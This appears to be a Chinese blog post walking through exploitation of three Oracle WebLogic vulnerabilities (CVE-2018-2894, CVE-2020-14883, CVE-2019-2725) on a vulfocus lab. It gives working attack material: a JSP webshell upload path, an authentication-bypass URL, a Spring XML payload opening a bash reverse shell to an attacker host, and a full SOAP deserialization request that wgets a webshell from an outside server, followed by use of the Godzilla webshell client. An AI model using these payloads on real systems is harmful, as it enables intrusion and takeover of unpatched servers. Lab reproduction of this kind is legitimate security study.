
Weblogic部分漏洞复现(CVE-2018-2894)(CVE-2020-14883)(CVE-2019-2725)
CVE-2020-14883 是 Oracle WebLogic Server 中的一个远程代码执行(RCE)漏洞,属于未授权访问漏洞,可用于获取 WebLogic 管理权限。攻击者利用该漏洞可以远程执行恶意代码,最终导致服务器被控制。CVE-2019-2725 是 Oracle WebLogic Server 反序列化远程代码执行漏洞,主要影响 WebLogic 的 XMLDecoder 组件,
Weblogic部分漏洞复现
weblogic文件上传漏洞(CVE-2018-2894)
简介
CVE-2018-2894 是 Oracle WebLogic Server 中的 任意文件上传漏洞,它存在于 ws_utc 组件(Web Services Test Client)。攻击者可以利用该漏洞,在服务器上 上传任意文件(如 JSP WebShell),最终导致 远程代码执行(RCE),甚至获取服务器的控制权。
影响版本
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3
受影响组件:ws_utc
WebLogic 的 ws_utc 组件 是一个 Web Service 测试工具,通常用于 Web 服务开发者调试 WebLogic 的 Web Service。
默认情况下,它的访问地址是:
http://[WebLogic_IP]:[PORT]/ws_utc/begin.do
该组件提供了 文件上传功能,用于 Web Service 测试配置,然而由于 缺乏访问控制 和 文件格式校验,导致攻击者可以 上传任意文件。
ws_utc 组件的功能
ws_utc
组件主要用于 测试 WebLogic 的 Web Services,它包含两个核心页面:
begin.do
:用于加载 Web Service 测试界面config.do
:用于 上传 Web Service 配置文件(可上传.xml
文件)
关键的漏洞点
(1)未授权访问
-
ws_utc
组件默认情况下是 开放访问的,并 不需要身份验证(即无需 WebLogic 管理员权限)。 -
任何用户都可以直接访问:
http://[WebLogic_IP]:[PORT]/ws_utc/config.do
(2)任意文件上传
- config.do页面提供了 上传 XML 配置文件的功能,但:
- 该接口 没有严格的文件类型校验
- 允许上传 非 XML 文件
- 可上传
.jsp
、.war
等 可执行文件
- 由于 WebLogic 服务器 会自动解析 JSP 文件,攻击者可以上传 恶意 JSP WebShell,从而 执行任意代码。
漏洞复现
这边使用vulfocus靶场进行复现
访问/ws_utc/config.do
设置Work Home Dir为ws_utc应用的静态文件css目录(访问这个目录是无需权限的)
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
然后在安全 -添加功能 ,上传jsp木马
点击提交并抓包,获取响应数据包中的时间戳
然后访问 http://ip:port/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell
weblogic远程代码执行漏洞(CVE-2020-14883)
简介
CVE-2020-14883 是 Oracle WebLogic Server 中的一个 远程代码执行(RCE)漏洞,属于 未授权访问漏洞,可用于获取 WebLogic 管理权限。攻击者利用该漏洞可以远程执行恶意代码,最终导致服务器被控制。
影响版本
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
漏洞组件
该漏洞影响 WebLogic Server 的 Console 组件(管理控制台),该组件通常用于 WebLogic 的管理操作,默认访问路径为:
http://[WebLogic_IP]:[PORT]/console/
在某些情况下,该组件对 未授权用户 仍然开放,导致攻击者可以绕过身份验证,执行管理命令。
漏洞核心点
-
身份验证绕过:
WebLogic Console 存在 未授权访问漏洞,攻击者可以在 无需管理员认证 的情况下直接访问某些管理 API。
-
远程命令执行(RCE):
由于 WebLogic Console 允许执行 Java MBean 相关操作,攻击者可以利用某些 MBean 组件远程执行代码。
漏洞复现
首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
这条请求利用了 路径遍历(URL 编码绕过) 方式访问 console.portal
组件,导致 无需认证 直接进入 WebLogic 管理控制台。
编写poc rce.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i &> /dev/tcp/192.168.41.128/5555 0<&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
虚拟机上开启一个py服务
python -m http.server 8888
然后监听本机的5555端口
nc -lvp 5555
然后访问urlhttp://1923.58.224.8:18992/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext(“http://192.168.41.128:8888/rce.xml”)
即可建立反弹链接
Weblogic反序列化远程代码执行漏洞(CVE-2019-2725)
简介
CVE-2019-2725 是 Oracle WebLogic Server 反序列化远程代码执行漏洞,主要影响 WebLogic 的 XMLDecoder 组件,攻击者可以利用该漏洞在未授权的情况下远程执行任意代码。由于 WebLogic Server 默认开启了 Web 服务,这使得该漏洞可以通过远程方式被利用,危害极大。
影响版本
10.3.6.0.0
12.1.3.0.0
漏洞组件
该漏洞的主要成因是 WebLogic 的 wls9_async_response
和 wls-wsat
组件在处理 XML 反序列化数据时存在不安全的对象反序列化逻辑,导致攻击者可通过构造恶意的 XML 请求,从而实现远程代码执行(RCE)。
漏洞复现
访问 /_async/AsyncResponseService返回如下页面,即可能存在该漏洞
构造如下poc
POST /_async/AsyncResponseService HTTP/1.1
Host: 123.58.224.8:21326
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 929
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.41.136:8888/newshell.jsp.txt -O /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/newshell.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
上传成功后用哥斯拉连接就好
不知道路径的可以访问
/_async/AsyncResponseService?info
复制蓝色部分就好
更多推荐
所有评论(0)